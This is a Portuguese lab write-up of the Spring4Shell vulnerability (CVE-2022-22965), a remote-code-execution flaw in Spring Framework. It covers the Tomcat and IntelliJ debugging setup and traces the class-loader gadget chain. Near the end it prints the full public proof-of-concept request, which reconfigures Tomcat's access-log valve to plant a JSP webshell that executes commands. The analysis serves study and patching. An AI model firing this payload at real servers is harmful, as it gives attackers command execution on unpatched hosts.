
Análise técnica aprofundada de CVE-2022-22965 (Spring4Shell) com configuração de ambiente, walkthrough de depuração e detalhamento da cadeia de exploit para prática educacional em laboratório.
Spring4Shell é o nome de um CVE que existe no Spring Core do Spring Framework.
Com pontuação CVSS 3.x de 9.8, a vulnerabilidade é classificada como de risco máximo (crítica). Esta vulnerabilidade permite que um invasor execute código de exploração remotamente e controle o servidor que contém a vulnerabilidade.
Junto com a popularidade do Spring Core na internet e a gravidade do impacto do Spring4Shell, esta vulnerabilidade é avaliada por especialistas como tendo um impacto não inferior ao Log4shell.
O Spring4Shell não afeta todas as aplicações web que usam o Spring Framework na internet, mas requer que a aplicação web atenda aos seguintes critérios:
Meu ambiente de configuração terá os seguintes parâmetros:
Instalação do Apache Tomcat
Como mencionado acima, estou usando Kali 2021.4a e Apache Tomcat 9.0.45. Se você não sabe como instalar o Apache Tomcat e deseja instalá-lo no Kali Linux, pode consultar este link.
Nota: Substitua o link https://mirror.kiu.ac.ug/apache/tomcat/tomcat-9/v9.0.45/bin/apache-tomcat-9.0.45.tar.gz por https://archive.apache.org/dist/tomcat/tomcat-9/v9.0.45/bin/apache-tomcat-9.0.45.tar.gz
Escolha da IDE
Precisamos de uma IDE para codificar o projeto, empacotá-lo como um arquivo .war e, muito importante, depurar. Eu uso Intellij, você pode usar Eclipse ou Netbeans, etc., desde que a IDE suporte Java.
Criar um projeto simples com a vulnerabilidade
Meu projeto é muito simples, composto por:
um modelo HelloWorld.java

um controller HelloWorldController.java

uma view hello.jsp

Construir o arquivo .war
Para empacotar o projeto, faça: Build -> Build Artifacts -> helloworld:war -> Build.
Aguarde a conclusão bem-sucedida da construção. Neste momento, o projeto terá uma pasta out adicional. Vá para ./out/artifacts/your_war_name/ e verá um arquivo your_war_name.war. Este arquivo .war é o projeto web após compilação e empacotamento, e pode ser usado para implantação em servlets Java como Apache Tomcat.
Se a opção Build Artifacts estiver desabilitada (não é possível construir artefatos), é porque o Build Artifacts não foi configurado para este projeto. Vá em: File -> Project Structure -> Artifacts -> Delete todos os artefatos existentes -> Add (sinal de +) -> Web Application: Exploded -> From Modules... -> OK (finalizar criação do Exploded) -> Add (sinal de +) -> Web Application: Archive -> For 'helloworld:war exploded' -> OK. Depois execute Build Artifacts novamente.
Implantação e configuração de debug
Implantação
Para implantar um arquivo .war no Apache Tomcat, basta copiar o arquivo .war para a pasta /webapps dentro do diretório do Apache Tomcat (exemplo: para mim, copio o arquivo helloworld.war (renomeei para facilitar) para /opt/tomcat/apache-tomcat-9.0.45/webapps/). Depois, inicie o servidor Tomcat de duas maneiras (para Linux):
Após a implantação, acesse http://localhost:8080/helloworld
Configuração de debug
Para configurar o debug (remoto) do Tomcat, siga os passos abaixo:
Lado do servidor:
abra o arquivo catalina.sh e substitua o valor localhost pelo ip_da_maquina_virtual do parâmetro JPDA_ADDRESS

inicie o servidor Tomcat novamente com: /opt/tomcat/apache-tomcat-9.0.45/bin/catalina.sh jpda start. Neste momento, além de abrir a porta 8080 para o servidor HTTP, o Tomcat abrirá a porta 8000 para podermos conectar e depurar
Nota: Nesta parte de debug, estou executando o Intellij no Windows 10 e o Tomcat em uma máquina virtual Kali, por isso precisei alterar o JDPA_ADDRESS. Se você configurar tanto o Intellij quanto o Windows 10 na mesma máquina, não precisa alterar.
Lado do Intellij:
vá em Run -> Edit Configurations... -> Add (sinal de +) -> Remote JVM Debug
Defina um nome, ajuste Host e Port para o IP e porta que você alterou no arquivo catalina.sh -> OK -> Shift + F9 (iniciar debug)

Primeiramente, vou analisar o projeto que estou usando para depuração. Como mencionado acima, este projeto é simples, consistindo em:
Aqui está um exemplo:

A aplicação capturou as informações dos parâmetros da requisição POST e criou um objeto helloWorld{“person”:”Leo”, “message”:”Hi there”}. Este objeto helloWorld é a entrada para o método helloPost. A aplicação realiza as etapas mencionadas para retornar a resposta ao usuário.
O processo de conversão dos parâmetros no corpo da requisição POST para o objeto helloWorld é totalmente automático pelo Spring. Como ele faz isso e será que ele valida os parâmetros inseridos?
Esta imagem foi capturada durante a depuração, com uma requisição cujo corpo é “class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT” (chamo o lado esquerdo (stack trace) de (1) e o lado direito de (2)):

Em (1) destaquei os pontos importantes (olhando de baixo para cima). O Spring aplica applyPropertyValue ao objeto helloWorld a partir dos parâmetros da requisição POST. E se os parâmetros forem simples como person=Leo&message=Hi%20there, o Spring consegue encontrar que a chave 'person' corresponde a helloWorld.person e 'message' a helloWorld.message.
Mas o Spring também permite enviar objetos via requisição HTTP (falar em enviar objetos via HTTP é exagerado, mas é uma forma simplificada de entender). Suponha que o atributo person não seja mais uma string, mas um objeto Person que contém dois subatributos: name (string) e age (int). E para enviar informações sobre este objeto Person ao servidor, seria assim: “person.name=Leo&person.age=23”.
Portanto, o formato dos parâmetros será A.B.C.D… = X, não mais A=X. E para processar o formato A.B.C.D… = X, suponha um parâmetro como A.B.C = X; simplesmente, o Spring fará algo como converter isso em getA.getB.setC(X).
Não vou explicar o que é getA, mas vou dar um exemplo: com o corpo da requisição “person.name=Leo&person.age=23”, o Spring procura no objeto helloWorld o atributo person e o método getPerson; se existir, Spring chama helloWorld.getPerson(), obtendo um objeto do tipo Person, que chamarei de person1. Então, Spring procura em person1 o atributo 'name' e o método setName (já que após 'name' vem '='); se existir, Spring chama setName(Leo) para person1.
Para person.age, o Spring não vai recomeçar do início para encontrar person e depois age, mas usará os objetos anteriores já obtidos, neste caso helloWorld e person1.
Após essas etapas, no servidor teremos um objeto helloWorld{person:{name:”Leo”, age:23}} (ignore o atributo message por enquanto).
Então, como o Spring consegue encontrar os atributos de cada objeto, por exemplo, o atributo ‘person’ do objeto helloWorld?
Observe no início de (1) a função CachedIntrospectionResults(beanClass), que lista os atributos de beanClass. Em (2), quando beanClass é model.HelloWorld, vemos 3 atributos. No entanto, o modelo HelloWorld que criei tem apenas 2 atributos: ‘person’ e ‘message’. Portanto, a função retornou um atributo adicional ‘class’. Se expandir a linha ‘class’, verá que propertytype é ‘java.lang.class’.
Portanto, podemos afetar um objeto class do tipo java.lang.class -> Esta é a origem (source) deste Spring4Shell.
Relacionado à fonte acima, houve um CVE-2010-1622 que envolve esta fonte. O autor do CVE-2010-1622 explorou esta fonte com o payload class.classLoader.URLs[0] = X.
Porque na classe java.lang.class há o método getClassLoader() que retorna um objeto ClassLoader, e este ClassLoader pode afetar o array de URLs do Tomcat (usado para carregar recursos). E ao poder afetar as URLs, um atacante pode alterar o valor de URLs[0] para um endereço URL e realizar um acesso remoto a um arquivo Jar malicioso (controlado pelo atacante).
Para corrigir isso, o Spring implementou um filtro (blacklist) na função CachedIntrospectionResults(beanClass):

Se ‘beanClass’ == Class.class (java.lang.class), então pd deve ser diferente de ‘classLoader’ e ‘protectionDomain’, e a evidência é que após CachedIntrospectionResults carregar todos os atributos de java.lang.class, os dois atributos ‘classLoader’ e ‘protectionDomain’ não aparecem:

Mas, em vez disso, a partir do JDK 9, Class.class ganhou um atributo ‘module’ e dentro de Class.module há um atributo classLoader:

→ Portanto, usando JDK 9 em diante, é possível contornar a blacklist do Spring!!!
Com base no PoC público do Spring4Shell, podemos ver que o payload usado tem o formato:
class.module.classloader.resources.context.parent.pipeline.first ⇔ Class.getModule().getClassLoader().getResources().getContext().getParent().getPipeline().getFirst()
Com base na depuração, podemos ver a seguinte cadeia de gadgets:
java.lang.class.getModule() -> java.lang.module.getClassLoader() -> org.apache.catalia.loader.ParallelWebappClassLoader.getResources() -> org.apache.catalia.webresources.StandardRoot.getContext() -> org.apache.catalia.core.StandardContext.getParent() -> org.apache.catalia.core.StandardHost.getPipeline() -> org.apache.catalia.core.StandardPipeline.getFirst() -> org.apache.catalia.valves.AccessLogValue.
E a classe AccessLogValue possui os seguintes atributos:

Podemos obter um objeto AccessLogValue, e este AccessLogValue afeta a gravação de logs do Tomcat.
→ Podemos criar arquivos no servidor configurando os atributos do objeto AccessLogValue no servidor Tomcat. Para fazer isso, no PoC eles configuraram os atributos Prefix, Suffix, Pattern, Directory e fileDateFormat. E o payload da requisição será:
“class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bprefix%7Di%20java.io.InputStream%20in%20%3D%20%25%7Bc%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=”
Lista de Breakpoints
Para facilitar o processo de depuração, você pode definir breakpoints nos seguintes pontos:

Esta análise na verdade não tem parte de conclusão; este trecho foi adicionado apenas por formalidade!!!
Se você está procurando uma correção, está aqui.